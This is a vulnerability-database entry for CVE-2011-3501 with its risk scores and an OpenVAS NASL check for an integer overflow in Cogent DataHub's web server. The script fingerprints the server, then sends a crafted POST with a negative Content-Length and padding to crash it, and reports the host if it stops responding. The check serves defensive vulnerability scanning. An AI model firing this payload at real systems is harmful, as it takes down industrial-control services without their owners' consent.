5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
6.9 Medium
AI Score
Confidence
High
0.017 Low
EPSS
Percentile
87.8%
Cogent DataHub is prone to an integer overflow vulnerability.
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.802247");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2011-09-22 10:24:03 +0200 (Thu, 22 Sep 2011)");
script_cve_id("CVE-2011-3501");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_name("Cogent DataHub Integer Overflow Vulnerability");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2011 Greenbone AG");
script_family("Denial of Service");
script_require_ports("Services/www", 80);
script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_xref(name:"URL", value:"http://secunia.com/advisories/45967");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49611");
script_xref(name:"URL", value:"http://aluigi.altervista.org/adv/cogent_3-adv.txt");
script_xref(name:"URL", value:"http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-03.pdf");
script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to allows
remote attackers to cause a denial of service.");
script_tag(name:"affected", value:"Cogent DataHub 7.1.1.63 and prior.");
script_tag(name:"insight", value:"The flaw is due to an integer overflow error in the webserver
when handling the HTTP 'Content-Length' header can be exploited by sending
specially crafted HTTP requests.");
script_tag(name:"solution", value:"Upgrade to Cogent DataHub version 7.1.2 or later.");
script_tag(name:"summary", value:"Cogent DataHub is prone to an integer overflow vulnerability.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
script_xref(name:"URL", value:"http://www.cogentdatahub.com/Products/Cogent_DataHub.html");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
port = http_get_port( default:80 );
res = http_get_cache( item:"/index.asp", port:port );
res2 = http_get_cache( item:"/demo.asp", port:port );
if( "<title>DataHub Web Server</title>" >!< res && "<title>DataHub Web Server</title>" >!< res2 ) exit( 0 );
host = http_host_name( port:port );
attack = string( "POST / HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"Content-Length: -1\r\n\r\n",
crap( 4079 ) );
## Send Attack
res = http_send_recv( port:port, data:attack );
req = http_get( item:"/", port:port );
res = http_send_recv( port:port, data:req );
if( ! res ) {
if( http_is_dead( port:port ) ) {
security_message( port:port );
exit( 0 );
}
}
exit( 99 );